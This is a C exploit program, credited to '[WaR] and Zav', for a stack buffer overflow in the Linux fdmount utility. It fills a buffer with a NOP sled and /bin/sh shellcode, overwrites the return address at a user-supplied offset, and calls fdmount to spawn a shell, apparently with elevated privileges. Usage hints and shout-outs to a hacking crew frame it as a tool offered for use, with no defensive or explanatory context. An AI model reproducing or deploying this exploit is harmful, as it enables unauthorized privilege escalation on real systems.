/* fdmount exploit * * by [WaR] and Zav * * usage: ./fdmountx * try with offset around 390 (you'll only get one try) * * Shout outs to all of the GenHex crew, and to * the #newbreed at irc.ptnet.org. */ #include #include #define BUFFSIZE 70 char shell[] = /* by Zav */ "\xeb\x33\x5e\x89\x76\x08\x31\xc0" "\x88\x66\x07\x83\xee\x02\x31\xdb" "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b" "\x24\x0f\x8d\x5e\x08\x89\xd9\x83" "\xee\x02\x8d\x5e\x0e\x89\xda\x83" "\xc6\x02\x89\xf3\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xc8\xff" "\xff\xff/bin/sh"; main(int argc, char **argv) { char buffer[BUFFSIZE+6]; unsigned long eip=(unsigned long)&eip; unsigned long *ptr; if(argc>1) eip+=atoi(argv[1]); memset(buffer,0x90,75); memcpy(buffer+(BUFFSIZE-strlen(shell)),shell,strlen(shell)); ptr=(unsigned long*)(buffer+71); *ptr=eip; buffer[75]=0; buffer[0]='/'; execl("/usr/bin/fdmount","fdmount","fd0",buffer,NULL); }

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